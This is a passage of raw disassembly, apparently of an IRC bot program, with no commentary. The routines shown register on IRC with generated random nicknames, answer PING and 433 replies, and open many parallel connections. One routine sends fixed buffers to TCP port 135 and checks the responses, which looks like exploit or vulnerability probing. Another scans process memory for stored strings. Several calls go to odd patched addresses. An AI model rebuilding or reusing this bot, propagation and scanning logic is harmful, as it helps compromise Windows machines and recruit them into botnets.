410h nop call near ptr 2690328h test eax, eax mov [ebp+arg_0], eax jz loc_4178B5 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27E01C0h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_4178AC mov edi, dword_427154 loc_41780E: ; CODE XREF: sub_4177C3+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27D0CEAh test eax, eax jz short loc_41789A mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4178A0 test [ebp+var_13], 1 jnz short loc_4178A0 push ecx push 8 call edi push eax call near ptr 27D0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27E0000h test eax, eax jz short loc_41788C push offset dword_4D3830 push esi call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_41788C lea eax, [esi+400h] push offset dword_4D4030 push eax call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_4178BC loc_41788C: ; CODE XREF: sub_4177C3+9Fj ; sub_4177C3+B0j push esi push 0 call edi push eax nop call near ptr 27C0691h jmp short loc_4178A0 ; --------------------------------------------------------------------------- loc_41789A: ; CODE XREF: sub_4177C3+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4178A0: ; CODE XREF: sub_4177C3+71j ; sub_4177C3+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_41780E loc_4178AC: ; CODE XREF: sub_4177C3+3Fj push [ebp+arg_0] nop call near ptr 2670000h loc_4178B5: ; CODE XREF: sub_4177C3+1Ej xor eax, eax loc_4178B7: ; CODE XREF: sub_4177C3+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4178BC: ; CODE XREF: sub_4177C3+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D4A4C, ebx mov dword_4D4A50, eax cmp [eax], cl jnz short loc_4178DE cmp [eax+1], cl jz short loc_4178E6 loc_4178DE: ; CODE XREF: sub_4177C3+114j ; sub_4177C3+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4178DE loc_4178E6: ; CODE XREF: sub_4177C3+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2670000h push 1 pop eax jmp short loc_4178B7 sub_4177C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4A48 push esi mov esi, dword_427154 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 27D0000h nop mov ecx, dword_4D4A48 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4A50 push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4A54 push eax call dword_4D4834 push [ebp+var_4] mov edi, offset dword_4D4840 push offset dword_4D3830 push offset dword_4D4030 push [ebp+arg_0] push offset dword_4386C4 push 200h push edi call sub_41C360 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27C0691h mov eax, edi pop edi pop esi leave retn sub_4178F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4A48 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27D0C1Ch push eax call near ptr 27D0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D4030 mov edi, 200h mov esi, offset dword_4D3630 loc_4179D6: ; CODE XREF: sub_417990+FAj mov eax, dword_4D4A48 add eax, eax push eax push dword_4D4A50 push [ebp+var_14] call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4834 mov eax, dword_4D4A48 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417A4B loc_417A13: ; CODE XREF: sub_417990+B3j cmp [ebp+var_8], 0 jz short loc_417A68 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417A37 cmp byte ptr [ecx+1], 0 jnz short loc_417A37 cmp dl, 20h jnb short loc_417A31 and [ebp+var_8], 0 loc_417A31: ; CODE XREF: sub_417990+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417A3B loc_417A37: ; CODE XREF: sub_417990+90j ; sub_417990+96j and [ebp+var_8], 0 loc_417A3B: ; CODE XREF: sub_417990+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417A13 cmp [ebp+var_8], 0 jz short loc_417A68 loc_417A4B: ; CODE XREF: sub_417990+81j push [ebp+var_14] push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_4386C4 push edi push esi call sub_41C360 add esp, 1Ch jmp short loc_417A80 ; --------------------------------------------------------------------------- loc_417A68: ; CODE XREF: sub_417990+87j ; sub_417990+B9j push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_438714 push edi push esi call sub_41C360 add esp, 18h loc_417A80: ; CODE XREF: sub_417990+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4179D6 push [ebp+var_14] push 0 nop call near ptr 27D0C1Ch push eax nop call near ptr 27C0691h mov eax, esi pop edi pop esi pop ebx leave retn sub_417990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417B25 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_417B0A push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_417B25 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417B0A: ; CODE XREF: sub_417AA9+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_417B29 push edi call dword_4CBA6C loc_417B25: ; CODE XREF: sub_417AA9+1Bj ; sub_417AA9+58j mov eax, esi jmp short loc_417B2B ; --------------------------------------------------------------------------- loc_417B29: ; CODE XREF: sub_417AA9+73j mov eax, edi loc_417B2B: ; CODE XREF: sub_417AA9+7Ej pop edi pop esi leave retn sub_417AA9 endp ; =============== S U B R O U T I N E ======================================= sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp ; sub_401ACD+32B6p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41C8A0 pop ecx mov esi, offset dword_4D4A5C pop ecx loc_417B47: ; CODE XREF: sub_417B2F+42j cmp dword ptr [esi-4], 1 jnz short loc_417B65 cmp dword ptr [esi], 0 jbe short loc_417B65 push 0 push edi call sub_41B9C0 pop ecx push eax push edi push dword ptr [esi] call dword_4CBA24 loc_417B65: ; CODE XREF: sub_417B2F+1Cj ; sub_417B2F+21j add esi, 210h cmp esi, offset dword_4DB17C jl short loc_417B47 pop edi pop esi retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B76 proc near ; CODE XREF: sub_417C61+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDC0 ; " " push edi push esi push [ebp+arg_0] call sub_41CAD4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B9B: ; CODE XREF: sub_417B76+35j push esi push 0 call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B9B mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417BC3 cmp esi, edi jnz short loc_417BC3 push 1 pop eax jmp loc_417C5C ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B76+3Fj ; sub_417B76+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41CA50 pop ecx pop ecx test eax, eax push esi jnz short loc_417BDE push offset dword_43932C jmp short loc_417C2C ; --------------------------------------------------------------------------- loc_417BDE: ; CODE XREF: sub_417B76+5Fj push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417BFF push esi push offset dword_439328 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_417C5A loc_417BFF: ; CODE XREF: sub_417B76+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BF70 lea eax, [ebp+var_420] push eax call sub_417E84 add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_43931C loc_417C2C: ; CODE XREF: sub_417B76+66j lea eax, [ebp+var_220] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CBA24 loc_417C5A: ; CODE XREF: sub_417B76+87j xor eax, eax loc_417C5C: ; CODE XREF: sub_417B76+48j pop edi pop esi pop ebx leave retn sub_417B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C61 proc near ; DATA XREF: sub_417E06+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C500 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4A64[esi] mov dword_4D4A58[esi], edi push dword_4D4C64[esi] push eax call sub_417AA9 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D4A5C[esi], eax jb loc_417DE6 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BF70 lea eax, [ebp+var_2008] push eax call sub_417E84 lea eax, [ebp+var_4008] push eax call sub_417E84 lea eax, [ebp+var_3008] push eax call sub_417E84 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D4A5C[esi] call dword_4CBA24 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch loc_417D3D: ; CODE XREF: sub_417C61+111j ; sub_417C61+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D4A5C[esi] call dword_4CB9EC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417DE6 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417D3D loc_417D74: ; CODE XREF: sub_417C61+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D9B cmp al, 0Ah jz short loc_417D9B cmp [ebp+arg_0], 0FA0h jz short loc_417D9B mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417DD5 ; --------------------------------------------------------------------------- loc_417D9B: ; CODE XREF: sub_417C61+11Cj ; sub_417C61+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417DD5 push dword_4D4A5C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B76 pop ecx test eax, eax pop ecx ja short loc_417DE6 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+arg_0], ebx loc_417DD5: ; CODE XREF: sub_417C61+138j ; sub_417C61+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D74 jmp loc_417D3D ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: sub_417C61+40j ; sub_417C61+107j ... mov dword_4D4A58[esi], ebx mov esi, dword_4D4A5C[esi] cmp esi, ebx jbe short loc_417DFD push esi call dword_4CBA6C loc_417DFD: ; CODE XREF: sub_417C61+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E7F loc_417E18: ; CODE XREF: sub_417E06+77j xor edi, edi mov eax, offset dword_4D4A58 loc_417E1F: ; CODE XREF: sub_417E06+28j cmp [eax], ebx jz short loc_417E30 add eax, 210h inc edi cmp eax, offset dword_4DB178 jl short loc_417E1F loc_417E30: ; CODE XREF: sub_417E06+1Bj cmp edi, 31h jz short loc_417E7F mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4A64[esi] push eax call sub_41C890 mov eax, [ebp+arg_4] pop ecx mov dword_4D4C64[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4A58[esi], 1 push eax push ebx push edi push offset sub_417C61 push ebx push ebx nop call near ptr 2690000h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417E18 loc_417E7F: ; CODE XREF: sub_417E06+10j ; sub_417E06+2Dj pop edi pop esi pop ebx leave retn sub_417E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp ; sub_401ACD+3747p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 add esp, 0Ch call sub_41C2C2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276D8 call sub_41D174 cmp eax, 1 jnz short loc_417ECE call sub_41C2C2 call sub_41C2C2 push 66h cdq pop ecx idiv ecx push off_438A68[edx*4] jmp short loc_417EE7 ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417E84+2Fj call sub_41C2C2 call sub_41C2C2 cdq mov ecx, 0C0h idiv ecx push off_438768[edx*4] loc_417EE7: ; CODE XREF: sub_417E84+48j lea eax, [ebp+var_2C] push eax call sub_41C890 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B9C0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41D174 mov ebx, eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F5A cmp esi, 3 jnz short loc_417F51 cmp ebx, 1 jz short loc_417F5A loc_417F51: ; CODE XREF: sub_417E84+C6j cmp eax, 1 jnz loc_418014 loc_417F5A: ; CODE XREF: sub_417E84+C1j ; sub_417E84+CBj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41D174 push off_438A68[eax*4] lea eax, [ebp+var_40] push eax call sub_41C890 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C990 add esp, 10h test eax, eax jnz short loc_418001 movsx eax, [ebp+var_40] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_418001 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_418001 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418001: ; CODE XREF: sub_417E84+111j ; sub_417E84+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41CBC0 add esp, 0Ch loc_418014: ; CODE XREF: sub_417E84+D0j lea eax, [ebp+var_2C] push eax call sub_41B9C0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DEE8 pop ecx test eax, eax pop ecx jnz loc_41827C and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz loc_418173 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp esi, 3 jz short loc_418082 cmp eax, 1 jnz loc_418173 loc_418082: ; CODE XREF: sub_417E84+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4180C4 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_4180C4: ; CODE XREF: sub_417E84+207j call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebx], cl loc_4180E0: ; CODE XREF: sub_417E84+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41D174 cmp esi, 3 jz short loc_418109 cmp eax, ebx jnz short loc_418173 loc_418109: ; CODE XREF: sub_417E84+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41814E push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41816C ; --------------------------------------------------------------------------- loc_41814E: ; CODE XREF: sub_417E84+28Fj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41816C: ; CODE XREF: sub_417E84+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418173: ; CODE XREF: sub_417E84+1C9j ; sub_417E84+1F8j ... cmp esi, 6 jge loc_4181FC cmp esi, 5 jge short loc_418194 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_417E84+2FBj call sub_41C2C2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 loc_4181B2: ; CODE XREF: sub_417E84+30Ej call sub_41D174 test eax, eax jnz short loc_4181D5 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181D5: ; CODE XREF: sub_417E84+335j cmp eax, 1 jnz short loc_4181FC call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h loc_4181F2: ; CODE XREF: sub_417E84+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181FC: ; CODE XREF: sub_417E84+2F2j ; sub_417E84+354j cmp [ebp+var_C], 2 jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A0 call sub_41D174 cmp eax, 1 jnz short loc_41827C cmp [ebp+var_C], eax jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_427698 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41827C: ; CODE XREF: sub_417E84+1B1j ; sub_417E84+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BFD0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418295 proc near ; CODE XREF: sub_4182CD+125p ; sub_4182CD+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_4182C3 loc_4182A6: ; CODE XREF: sub_418295+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DF40 add esp, 0Ch test eax, eax jz short loc_4182C9 inc esi cmp esi, edi jl short loc_4182A6 loc_4182C3: ; CODE XREF: sub_418295+Fj xor al, al loc_4182C5: ; CODE XREF: sub_418295+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4182C9: ; CODE XREF: sub_418295+27j mov al, 1 jmp short loc_4182C5 sub_418295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CD proc near ; CODE XREF: ___:0040DFD7p ; ___:0040E0C0p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C500 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41830E dec eax jz short loc_4182EC dec eax loc_4182E6: ; CODE XREF: sub_4182CD+57j xor eax, eax loc_4182E8: ; CODE XREF: sub_4182CD+3Fj ; sub_4182CD+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_4182CD+16j push 3 push 1388h push [ebp+arg_0] call dword_4CBA14 push eax call sub_40C34B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4182E8 ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_4182CD+13j push 6 push 1 push 2 call dword_4CBA54 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4182E6 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C cmp eax, edi jz loc_41842A push ebx push 48h push offset dword_439374 push esi call dword_4CBA24 cmp eax, edi jz loc_41842A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC cmp eax, edi jz loc_41842A cmp [ebp+var_200E], 0Ch jnz short loc_41842A push ebx push 18h push offset dword_4393C0 push [ebp+arg_4] call dword_4CBA24 cmp eax, edi jz short loc_41842A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC mov esi, eax cmp esi, edi jz short loc_41842A cmp [ebp+var_200E], 2 jnz short loc_41842A push 10h push offset loc_4393DC lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h test al, al jz short loc_41840A cmp esi, 12Ch setnl bl inc ebx jmp short loc_41842A ; --------------------------------------------------------------------------- loc_41840A: ; CODE XREF: sub_4182CD+12Fj push 10h push offset dword_4393F0 lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41842A: ; CODE XREF: sub_4182CD+9Bj ; sub_4182CD+B2j ... push [ebp+arg_4] call dword_4CBA6C mov eax, ebx pop ebx jmp loc_4182E8 sub_4182CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p ; sub_401ACD+C0Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_4184C6 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_4184C6 cmp [ebp+arg_8], esi jz short loc_4184C6 cmp byte ptr [eax], 0 jz short loc_4184C6 push ebx push edi call sub_426465 mov ebx, eax pop ecx test ebx, ebx jz short loc_4184C1 push [ebp+arg_4] push edi call sub_41C2E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4184BA sub eax, edi push eax push edi push ebx call sub_41BFD0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B9C0 push eax push [ebp+arg_8] push ebx call sub_41CBC0 push [ebp+arg_4] call sub_41B9C0 add eax, esi push eax push ebx call sub_41C8A0 push ebx push edi call sub_41C890 add esp, 30h mov esi, edi loc_4184BA: ; CODE XREF: sub_41843B+3Cj push ebx call sub_41BA91 pop ecx loc_4184C1: ; CODE XREF: sub_41843B+2Bj mov eax, esi pop ebx jmp short loc_4184C8 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_41843B+Cj ; sub_41843B+13j ... xor eax, eax loc_4184C8: ; CODE XREF: sub_41843B+89j pop edi pop esi pop ebp retn sub_41843B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184CC proc near ; CODE XREF: sub_401955+E9p ; ___:00410CF1p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BF70 mov esi, [ebp+arg_0] push esi call sub_41B9C0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418502 or eax, 0FFFFFFFFh jmp short loc_418575 ; --------------------------------------------------------------------------- loc_418502: ; CODE XREF: sub_4184CC+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_418524 loc_41850E: ; CODE XREF: sub_4184CC+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41851B cmp dl, 0Dh jnz short loc_41851F loc_41851B: ; CODE XREF: sub_4184CC+48j and byte ptr [ecx+esi], 0 loc_41851F: ; CODE 